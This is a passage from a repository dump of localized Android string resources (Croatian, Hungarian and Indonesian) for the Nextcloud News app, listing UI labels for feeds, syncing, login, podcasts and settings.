<string name=\"pref_title_ShowFastActions\">Aktiviraj funkcije brzog pristupa</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Preskoči detaljan prikaz i otvori članak u pregledniku</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Prihvati nepoznatu vjerodajnicu?</string>\n    <string name=\"mtm_decision_always\">Uvijek</string>\n    <string name=\"mtm_decision_abort\">Prekid</string>\n    <string name=\"mtm_notification\">Provjera vjerodajnice</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Nije odabran nijedan podcast</string>\n    <string name=\"no_chapters_available\">Nema dostupnih poglavlja</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Brzina reprodukcije</string>\n    <string name=\"notification_downloading_podcast_title\">Preuzimanje podcasta</string>\n    <string name=\"dialog_podcast_remove_confirm\">Ukloni</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Informacije</string>\n    <string name=\"pref_license\">Licenca</string>\n    <string name=\"pref_license_summary\">Opća javna licenca za GNU Affero (AGPL), verzija 3.</string>\n    <string name=\"pref_report_issue\">Prijavi problem</string>\n    <string name=\"pref_report_issue_summary\">Zahtijeva (besplatan) GitHub račun</string>\n    <string name=\"pref_contribute\">Doprinosite!</string>\n    <string name=\"pref_contribute_summary\">Nabavi izvorni kod</string>\n    <string name=\"pref_privacy\">Privatnost</string>\n    <string name=\"pref_privacy_summary\">Pravila o privatnosti za Android Nextcloud News</string>\n    <string name=\"pref_version\">Aplikacija za Android Nextcloud News</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Prikaz</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Izgled popisa sažetaka</string>\n    <string name=\"pref_title_font_size\">Veličina fonta</string>\n    <string name=\"pref_display_browser\">Preglednik</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Ikone radnji (prikaz pojedinosti)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Zadana postavka sustava</string>\n    <string name=\"pref_display_apptheme_light\">Svijetlo</string>\n    <string name=\"pref_display_apptheme_dark\">Tamno</string>\n\n    <string name=\"pref_oled_mode\">Crna pozadina</string>\n    <string name=\"pref_oled_mode_summary\">Za tamnu temu na OLED-zaslonima</string>\n\n    <string name=\"pref_display_browser_cct\">Ugrađeni Chrome-Custom-Tabs</string>\n    <string name=\"pref_display_browser_built_in\">Ugrađeni preglednik</string>\n    <string name=\"pref_display_browser_external\">Vanjski preglednik</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Umanjeni prikazi (samo Naslovi)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Umanjeni prikazi</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Jednostavan tekst</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Naslovi</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Puni tekst</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Izgled za web</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Prikaz kartice</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Mali</string>\n    <string name=\"pref_display_font_size_d\">Zadani</string>\n    <string name=\"pref_display_font_size_l\">Veliki</string>\n    <string name=\"pref_display_font_size_xl\">Jako veliki</string>\n\n    <string name=\"content_desc_play\">Zabava</string>\n    <string name=\"content_desc_pause\">Pauza</string>\n    <string name=\"content_desc_forward\">Naprijed</string>\n    <string name=\"content_desc_expand\">Proširi</string>\n    <string name=\"content_desc_collapse\">Sakrij</string>\n    <string name=\"content_desc_mark_as_read\">Označi kao pročitano</string>\n    <string name=\"content_desc_mark_as_unread\">Označi kao nepročitano</string>\n    <string name=\"content_desc_add_to_favorites\">Dodaj u favorite</string>\n    <string name=\"content_desc_remove_from_favorites\">Ukloni iz favorita</string>\n    <string name=\"content_desc_show_password\">Pokaži zaporku</string>\n    <string name=\"content_desc_delete\">Izbriši</string>\n    <string name=\"content_desc_download\">Preuzmi</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Pogreška</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Izgleda da aplikacija za vijesti nije instalirana ili aktivirana na vašem poslužitelju. Pratite navedene upute kako biste postavili aplikaciju za vijesti na poslužitelju: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Nešto je pošlo po krivu :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Aplikacija za vijesti vratila je inačicu „0”. Pogledajte sljedeće izvješće o pogrešci: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Ova inačica aplikacije nije kompatibilna s aplikacijom Nextcloud News. Nadogradite aplikaciju za vijesti i razvojnu komponentu appframework.</string>\n    <string name=\"login_dialog_title_security_warning\">Sigurnosno upozorenje</string>\n    <string name=\"login_dialog_text_security_warning\">Ne upotrebljavate HTTPS, što se snažno preporučuje. Napadač može presresti vaš promet i tako pristupiti osjetljivim podacima (npr. vašoj zaporci).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Nešto je pošlo po krivu. Pokušajte ponovno.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Podaci i sinkronizacija</string>\n    <string name=\"pref_title_clearCache\">Izbriši predmemoriju</string>\n    <string name=\"pref_title_CacheImagesOffline\">Izvanmrežno pohranjivanje slika u predmemoriju</string>\n    <string name=\"pref_title_Max_Cache_Size\">Maksimalna veličina predmemorije</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nikad</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Samo putem bežične (Wi-Fi) mreže</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Preko putem (Wi-Fi) i mobilne mreže</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Pitaj kada uređaj nije spojen na bežičnu (Wi-Fi) mrežu</string>\n\n    <string name=\"array_sync_interval_min_0\">Nikad</string>\n    <string name=\"array_sync_interval_min_5\">5 minuta</string>\n    <string name=\"array_sync_interval_min_15\">15 minuta</string>\n    <string name=\"array_sync_interval_min_30\">30 minuta</string>\n    <string name=\"array_sync_interval_min_45\">45 minuta</string>\n    <string name=\"array_sync_interval_hour_1\">1 sat</string>\n    <string name=\"array_sync_interval_hour_2\">2 sata</string>\n    <string name=\"array_sync_interval_hour_3\">3 sata</string>\n    <string name=\"array_sync_interval_hour_6\">6 sati</string>\n    <string name=\"array_sync_interval_hour_12\">12 sati</string>\n    <string name=\"array_sync_interval_hour_24\">24 sata</string>\n    <string name=\"switch_account\">Zamijeni račun</string>\n    \n    <string name=\"successfully_exported\">Uspješno izvezeno u:</string>\n    <string name=\"opml_export\">OPML izvoz</string>\n    <string name=\"parsing_opml\">Parsiranje OPML-a</string>\n    <string name=\"please_wait\">Pričekajte...</string>\n    <string name=\"interval_sync_title\">Sinkronizacija intervala</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-hu-rHU/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Automatikus szinkronizáció</string>\n    <string name=\"title_activity_sync_interval_selector\">Szinkronizáció gyakorisága</string>\n    <string name=\"empty_view_content\">Itt nincs semmi</string>\n    <string name=\"empty_view_content_action\">Húzza lefelé a frissítéshez</string>\n    <string name=\"toast_GettingMoreItems\">A további elemek letöltése elkezdődött. Kis türelmet…</string>\n    <string name=\"no_wifi_available\">Nincs csatlakoztatott WiFi</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Letölti a képeket Wi-Fi kapcsolat nélkül?</string>\n    <string name=\"current_version\">A(z) %s verziót használja</string>\n    <string name=\"widget_header\">Nextcloud hírek</string>\n    <string name=\"message_bar_scroll_top\">Újratöltés és felgörgetés</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d új elem érhető el</item>\n        <item quantity=\"other\">%d új elem érhető el</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Újratöltés</string>\n    <string name=\"allUnreadFeeds\">Összes olvasatlan elem</string>\n    <string name=\"starredFeeds\">Csillagozott elemek</string>\n    <string name=\"downloadedPodcasts\">Letöltött podcastok</string>\n    <string name=\"title_activity_new_feed\">Új hírcsatorna hozzáadása</string>\n\n    <string name=\"menu_update\">Frissítés</string>\n    <string name=\"menu_markAllAsRead\">Az összes megjelölése olvasottként</string>\n    <string name=\"menu_StartImageCaching\">Képek letöltése</string>\n    <string name=\"menu_downloadMoreItems\">Több elem letöltése</string>\n\n    <string name=\"tv_showing_cached_version\">Gyorsítótárazott verzió megjelenítése</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Csillagozott</string>\n    <string name=\"action_read\">Olvasás</string>\n    <string name=\"action_playPodacst\">Podcast lejátszása</string>\n    <string name=\"action_removePodcast\">Podcast média eltávolítása</string>\n    <string name=\"action_openInBrowser\">Megnyitás böngészőben</string>\n    <string name=\"action_Share\">Megosztás</string>\n    <string name=\"action_login\">Kiszolgálóbeállítások</string>\n    <string name=\"action_save\">Mentés</string>\n    <string name=\"action_settings\">Beállítások</string>\n    <string name=\"action_sync_settings\">Szinkronizáálási beállítások</string>\n    <string name=\"action_add_new_feed\">Új hírcsatorna hozzáadása</string>\n    <string name=\"action_add_new_folder\">Új mappa hozzáadása</string>\n    <string name=\"action_textToSpeech\">Kiolvasás</string>\n    <string name=\"action_search\">Keresés</string>\n    <string name=\"action_download_articles_offline\">Cikkek letöltése offline használatra</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Cikkek letöltése kapcsolat nélküli használatra</string>\n    <string name=\"notification_download_images_offline\">Képek letöltése kapcsolat nélküli használatra</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">%d új olvasatlan eleme van </item>\n        <item quantity=\"other\">%d új olvasatlan eleme van</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d új olvasatlan elem érhető el</item>\n        <item quantity=\"other\">%d új olvasatlan elem érhető el</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Hírcsatorna URL</string>\n    <string name=\"action_add_feed\">Hírcsatorna hozzáadása</string>\n    <string name=\"import_opml\">OPML importálása</string>\n    <string name=\"export_opml\">OPML exportálása</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Kép letöltése</string>\n    <string name=\"action_img_sharelink\">Képhivatkozás megosztása</string>\n    <string name=\"action_img_open\">Kép megnyitása böngészőben</string>\n    <string name=\"action_img_copylink\">Képhivatkozás másolása</string>\n    <string name=\"action_link_share\">Hivatkozás megosztása</string>\n    <string name=\"action_link_open\">Hivatkozás megnyitása böngészőben</string>\n    <string name=\"action_link_copy\">Hivatkozás másolása</string>\n    <string name=\"toast_img_download_wait\">Letöltés. Kis türelmet…</string>\n    <string name=\"toast_img_saved\">Kép elmentve</string>\n    <string name=\"toast_img_notwriteable\">Kép írása nem sikerült.</string>\n    <string name=\"toast_copied_to_clipboard\">Vágólapra másolva</string>\n    <string name=\"error_download_failed\">Letöltés sikertelen</string>\n    <string name=\"intent_title_share\">Megosztás ezzel</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Hírfolyam eltávolítása</string>\n    <string name=\"action_feed_rename\">Hírfolyam átnevezése</string>\n    <string name=\"action_feed_move\">Hírcsatorna áthelyezése</string>\n    <string name=\"action_feed_notification_settings\">Értesítési beállítások</string>\n    <string name=\"action_feed_open_in\">Megnyitási beállítások</string>\n    <string name=\"action_feed_open_in_general_setting\">Általános beállítások használata</string>\n    <string name=\"action_feed_open_in_detailed_view\">Részletes nézet</string>\n    <string name=\"feed_remove_button\">Eltávolítás</string>\n    <string name=\"feed_rename_button\">Átnevezés</string>\n    <string name=\"confirm_feed_remove\">Biztos, hogy eltávolítja ezt a hírcsatornát? Ez nem vonható vissza!</string>\n    <string name=\"feed_move_list_description\">Válassza ki a mappát, amelybe áthelyezi a hírcsatornát</string>\n    <string name=\"move_feed_root_folder\">Gyökérmappa</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Mappa eltávolítása</string>\n    <string name=\"action_folder_rename\">Mappa átnevezése</string>\n    <string name=\"folder_remove_button\">Eltávolítás</string>\n    <string name=\"folder_rename_button\">Átnevezés</string>\n    <string name=\"confirm_folder_remove\">Biztos, hogy eltávolítja ezt a mappát? Ez nem vonható vissza!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Egyedi értesítések fogadása erről a hírcsatornáról</string>\n    <string name=\"notification_feed_default\">Az alapértelmezett beállításokat használó összes hírcsatorna egy értesítésben fog megjelenni</string>\n    <string name=\"notification_feed_none\">Egyáltalán nincsenek értesítések</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Hozzáadás</string>\n    <string name=\"hint_folder_name\">Mappanév</string>\n    <string name=\"folder_already_exists\">A mappa már létezik</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Kézi bejelentkezés</string>\n    <string name=\"login_sso\">Bejelentkezés a Nextcloud fájlok alkalmazással</string>\n    <string name=\"pref_title_username\">Felhasználónév</string>\n    <string name=\"pref_title_password\">Jelszó</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloud gyökércím</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Bejelentkezés</string>\n    <string name=\"login_progress_signing_in\">Bejelentkezés…</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Ez a mező kötelező</string>\n    <string name=\"error_invalid_url\">Hibás URL</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">%d elem megjelölve olvasottként</item>\n        <item quantity=\"other\">%d elem megjelölve olvasottként</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d régi elem letöltve</item>\n        <item quantity=\"other\">%d régi elem letöltve</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Nincs több elérhető elem</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Eddig %d elem lett letöltve…</item>\n        <item quantity=\"other\">Eddig %d elem lett letöltve…</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Beállítások</string>\n    <string name=\"cache_is_cleared\">Gyorsítótár kiürítve!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Általános</string>\n    <string name=\"pref_title_general_sort_order\">Rendezés iránya</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Új → régi</string>\n    <string name=\"pref_general_sort_order_old_new\">Régi → új</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Művelet jobbra sepréskor</string>\n    <string name=\"pref_rename_action_swipe_left\">Művelet balra sepréskor</string>\n\n    <string name=\"pref_title_general_search_in\">Keresés ebben</string>\n\n    <string name=\"pref_general_search_in_title\">Cím</string>\n    <string name=\"pref_general_search_in_body\">Törzs</string>\n    <string name=\"pref_general_search_in_both\">Mindkettő</string>\n\n    <string name=\"dialog_clearing_cache\">Gyorsítótár ürítése</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Gyorsítótár ürítése. Kis türelmet…</string>\n    <string name=\"reset_cache_unsaved_changes\">Nem szinkronizált változások vannak. Biztos, hogy mindenképp alaphelyzetbe állítja a gyorsítótárat?</string>\n    <string name=\"warning\">Figyelmeztetés</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Szinkronizálás induláskor</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Csak az olvasatlan cikkek megjelenítése</string>\n    <string name=\"pref_title_DisableHostnameVerification\">A gépnévellenőrzés kikapcsolása</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navigáljon a hangerőszabályzó gombokkal</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Görgetés közben megjelölés olvasottként</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">Szinkronizálás az aljára görgetéskor</string>\n    <string name=\"pref_title_ShowFastActions\">Gyors elérési funkciók aktiválása</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Részletes nézet megjelenítésének átugrása és megnyitás böngészőben</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">A vissza gomb megnyitja a fiókot</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Elfogadja az ismeretlen tanúsítványokat?</string>\n    <string name=\"mtm_decision_always\">Mindig</string>\n    <string name=\"mtm_decision_abort\">Megszakítás</string>\n    <string name=\"mtm_notification\">Tanúsítvány-ellenőrzés</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Nincs podcast kiválasztva</string>\n    <string name=\"no_chapters_available\">Nincsenek elérhető fejezetek</string>\n    <string name=\"exit_playback\">Kilépés a lejátszóból</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Lejátszási sebesség</string>\n    <string name=\"notification_downloading_podcast_title\">Podcast letöltése</string>\n    <string name=\"dialog_podcast_remove_title\">Biztos benne?</string>\n    <string name=\"dialog_podcast_remove_body\">Biztos, hogy eltávolítja a(z) %1$s összes letöltött médiáját?</string>\n    <string name=\"dialog_podcast_status_failed\">A média eltávolítása sikertelen ennél: %1$s</string>\n    <string name=\"dialog_podcast_status_success\">A(z) %1$s médiája el lett távolítva</string>\n    <string name=\"dialog_podcast_remove_confirm\">Eltávolítás</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Névjegy</string>\n    <string name=\"pref_license\">Licenc</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) 3-as verzió</string>\n    <string name=\"pref_report_issue\">Probléma bejelentése</string>\n    <string name=\"pref_report_issue_summary\">GitHub-fiók szükséges (ingyenes)</string>\n    <string name=\"pref_contribute\">Közreműködés!</string>\n    <string name=\"pref_contribute_summary\">Töltse le a forráskódot</string>\n    <string name=\"pref_privacy\">Adatvédelem</string>\n    <string name=\"pref_privacy_summary\">Nextcloud Hírek androidos adatvédelmi irányelvek</string>\n    <string name=\"pref_news_policy\">Kapcsolat/hírházirend</string>\n    <string name=\"pref_news_policy_summary\">Androidos Nextcloud Hírek hírházirendje / kapcsolat</string>\n    <string name=\"pref_version\">Nextcloud hírek androidos alkalmazás</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Kijelző</string>\n    <string name=\"pref_title_app_theme\">Téma</string>\n    <string name=\"pref_title_feed_list_layout\">A csatorna elrendezés</string>\n    <string name=\"pref_title_font_size\">Betű méret</string>\n    <string name=\"pref_display_browser\">Böngésző</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Műveletikonok (Részletes nézet)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Rendszer alapértelmezése</string>\n    <string name=\"pref_display_apptheme_light\">Világos</string>\n    <string name=\"pref_display_apptheme_dark\">Sötét</string>\n\n    <string name=\"pref_oled_mode\">Fekete háttér</string>\n    <string name=\"pref_oled_mode_summary\">Sötét témához OLED kijelzőkön</string>\n\n    <string name=\"pref_detailed_view_zoom\">Nagyítás részletes nézetben</string>\n    <string name=\"pref_detailed_view_zoom_summary\">Tartalom nagyításának engedélyezése részletes nézetben</string>\n\n    <string name=\"pref_external_player\">Külső lejátszó</string>\n    <string name=\"pref_external_player_summary\">Podcastok lejátszása az alapértelmezett médiaalkalmazásában</string>\n\n    <string name=\"pref_display_browser_cct\">Beépített egyedi Chrome fülek</string>\n    <string name=\"pref_display_browser_built_in\">Beépített böngésző</string>\n    <string name=\"pref_display_browser_external\">Külső böngésző</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Bélyegképek (csak szalagcímek)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Előnézetek</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Egyszerű szöveg</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Szalagcímek</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Teljes szöveg</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Webes elrendezés</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Kártyanézet</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Kicsi</string>\n    <string name=\"pref_display_font_size_d\">Alapértelmezett</string>\n    <string name=\"pref_display_font_size_l\">Nagy</string>\n    <string name=\"pref_display_font_size_xl\">Extra nagy</string>\n\n    <string name=\"content_desc_play\">Lejátszás</string>\n    <string name=\"content_desc_pause\">Szünet</string>\n    <string name=\"content_desc_playback_speed\">Lejátszási sebesség</string>\n    <string name=\"content_desc_rewind\">Visszatekerés</string>\n    <string name=\"content_desc_forward\">Továbbítás</string>\n    <string name=\"content_desc_expand\">Kibontás</string>\n    <string name=\"content_desc_collapse\">Összecsukás</string>\n    <string name=\"content_desc_mark_as_read\">Megjelölés olvasottként</string>\n    <string name=\"content_desc_mark_as_unread\">Megjelölés olvasatlanként</string>\n    <string name=\"content_desc_tap_to_refresh\">Koppintson a frissítéshez</string>\n    <string name=\"content_desc_add_to_favorites\">Hozzáadás a kedvencekhez</string>\n    <string name=\"content_desc_remove_from_favorites\">Eltávolítás a kedvencek közül</string>\n    <string name=\"content_desc_show_password\">Jelszó megjelenítése</string>\n    <string name=\"content_desc_delete\">Törlés</string>\n    <string name=\"content_desc_download\">Letöltés</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Hiba</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Úgy tűnik hogy a hírek alkalmazás nincs telepítve vagy aktiválva a kiszolgálóján. Először kövesse az utasításokat, hogy telepítse a hírek alkalmazást a kiszolgálójára: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Valami balul sült el :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">A Webes hírek alkalmazás 0-s verziót adott vissza. Olvassa el ezt a hibajelentést: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Az alkalmazás nem kompatibilis a Nextcloud hírek alkalmazásával. Frissítse a hírek alkalmazást és az alkalmazás-keretrendszert.</string>\n    <string name=\"login_dialog_title_security_warning\">Biztonsági figyelmeztetés</string>\n    <string name=\"login_dialog_text_security_warning\">Nem használ HTTPS-t, amely erősen javasolt. Egy támadó lehallgathatja a kommunikációját a kiszolgálóval, így érzékeny adatokhoz jutva (például a jelszavához).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Valami balul sült el. Próbálja újra.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Adatok és szinkronizálás</string>\n    <string name=\"pref_title_clearCache\">Gyorsítótár ürítése</string>\n    <string name=\"pref_title_CacheImagesOffline\">Képek offline gyorsítótárazása</string>\n    <string name=\"pref_title_Max_Cache_Size\">Gyorsítótár legnagyobb mérete</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Soha</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Csak WiFi-n</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">WiFi-n és mobilhálózaton</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Kérdezze meg, ha nincs WiFi-n</string>\n\n    <string name=\"array_sync_interval_min_0\">Soha</string>\n    <string name=\"array_sync_interval_min_5\">5 perc</string>\n    <string name=\"array_sync_interval_min_15\">15 perc</string>\n    <string name=\"array_sync_interval_min_30\">30 perc</string>\n    <string name=\"array_sync_interval_min_45\">45 perc</string>\n    <string name=\"array_sync_interval_hour_1\">1 óra</string>\n    <string name=\"array_sync_interval_hour_2\">2 óra</string>\n    <string name=\"array_sync_interval_hour_3\">3 óra</string>\n    <string name=\"array_sync_interval_hour_6\">6 óra</string>\n    <string name=\"array_sync_interval_hour_12\">12 óra</string>\n    <string name=\"array_sync_interval_hour_24\">24 óra</string>\n    <string name=\"switch_account\">Fiókváltás</string>\n    \n    <string name=\"successfully_exported\">Sikeresen exportálva ide:</string>\n    <string name=\"opml_export\">OPML export</string>\n    <string name=\"parsing_opml\">OPML feldolgozása</string>\n    <string name=\"please_wait\">Kis türelmet…</string>\n    <string name=\"interval_sync_title\">Szinkronizálási időköz</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-id/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sync otomatis</string>\n    <string name=\"title_activity_sync_interval_selector\">Interval sinkronisasi</string>\n    <string name=\"empty_view_content\">Tak ada item di sini</string>\n    <string name=\"empty_view_content_action\">Pull down to refresh</string>\n    <string name=\"toast_GettingMoreItems\">Unduh item lainnya dimulai. Mohon tunggu ...</string>\n    <string name=\"no_wifi_available\">Tidak ada WiFi yang terhubung</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Apakah Anda ingin mengunduh gambar tanpa koneksi Wi-Fi?</string>\n    <string name=\"current_version\">Anda menggunakan Versi %s</string>\n    <string name=\"widget_header\">Berita ownCloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"other\">%d item baru tersedia</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Muat ulang</string>\n    <string name=\"allUnreadFeeds\">Semua item yang belum dibaca</string>\n    <string name=\"starredFeeds\">Item yang dibintangi</string>\n    <string name=\"title_activity_new_feed\">Tambah feed baru</string>\n\n    <string name=\"menu_update\">Segarkan</string>\n    <string name=\"menu_markAllAsRead\">Tandai semua telah dibaca</string>\n    <string name=\"menu_StartImageCaching\">Unduh gambar</string>\n    <string name=\"menu_downloadMoreItems\">Unduh beberapa item</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Dibintangi</string>\n    <string name=\"action_read\">Baca</string>\n    <string name=\"action_playPodacst\">Putar Siniar</string>\n    <string name=\"action_openInBrowser\">Buka di browser</string>\n    <string name=\"action_Share\">Bagikan</string>\n    <string name=\"action_login\">Pengaturan Server</string>\n    <string name=\"action_save\">Simpan</string>\n    <string name=\"action_settings\">Setelan</string>\n    <string name=\"action_sync_settings\">Setelan Sync</string>\n    <string name=\"action_add_new_feed\">Tambah feed baru</string>\n    <string name=\"action_add_new_folder\">Tambah folder baru</string>\n    <string name=\"action_textToSpeech\">Bacalah</string>\n    <string name=\"action_search\">Cari</string>\n    <string name=\"action_download_articles_offline\">Unduh artikel secara offline</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Mengunduh artikel untuk penggunaan offline</string>\n    <string name=\"notification_download_images_offline\">Mengunduh gambar untuk penggunaan offline</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"other\">Anda memiliki %d item baru yang belum dibaca</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"other\">Terdapat %d item baru yang belum dibaca </item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL Feed</string>\n    <string name=\"action_add_feed\">Tambah feed</string>\n    <string name=\"import_opml\">Impor OPML</string>\n    <string name=\"export_opml\">Ekspor OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Unduh Gambar</string>\n    <string name=\"action_img_sharelink\">Bagikan Tautan Gambar</string>\n    <string name=\"action_img_open\">Buka Gambar di Peramban</string>\n    <string name=\"action_img_copylink\">Salin Tautan Gambar</string>\n    <string name=\"action_link_share\">Bagikan Tautan</string>\n    <string name=\"action_link_open\">Buka Tautan di Peramban</string>\n    <string name=\"action_link_copy\">Salin Tautan</string>\n    <string name=\"toast_img_download_wait\">Mengunduh. Mohon tunggu ...</string>\n    <string name=\"toast_img_saved\">Gambar disimpan</string>\n    <string name=\"toast_img_notwriteable\">Gagal menulis Gambar.</string>\n    <string name=\"toast_copied_to_clipboard\">Disalin ke papan klip</string>\n    <string name=\"error_download_failed\">Gagal Mengunduh</string>\n    <string name=\"intent_title_share\">Bagikan via</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Hapus Feed</string>\n    <string name=\"action_feed_rename\">Ubah Nama Feed</string>\n    <string name=\"action_feed_move\">Pindahkan Feed</string>\n    <string name=\"action_feed_notification_settings\">Pengaturan notifikasi</string>\n    <string name=\"action_feed_open_in_general_setting\">Gunakan pengaturan umum</string>\n    <string name=\"action_feed_open_in_detailed_view\">Tampilan detail</string>\n    <string name=\"feed_remove_button\">Hapus</string>\n    <string name=\"feed_rename_button\">Ubah nama</string>\n    <string name=\"confirm_feed_remove\">Apakah Anda yakin ingin menghapus Feed ini? Tindakan ini tidak dapat dibatalkan!</string>\n    <string name=\"move_feed_root_folder\">Folder akar</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Hapus folder</string>\n    <string name=\"action_folder_rename\">Ubah nama folder</string>\n    <string name=\"folder_remove_button\">Buang</string>\n    <string name=\"folder_rename_button\">Ubah nama</string>\n    <string name=\"confirm_folder_remove\">Apakah Anda benar-benar ingin menghapus folder ini? Tindakan ini tidak dapat diurungkan!</string>\n\n   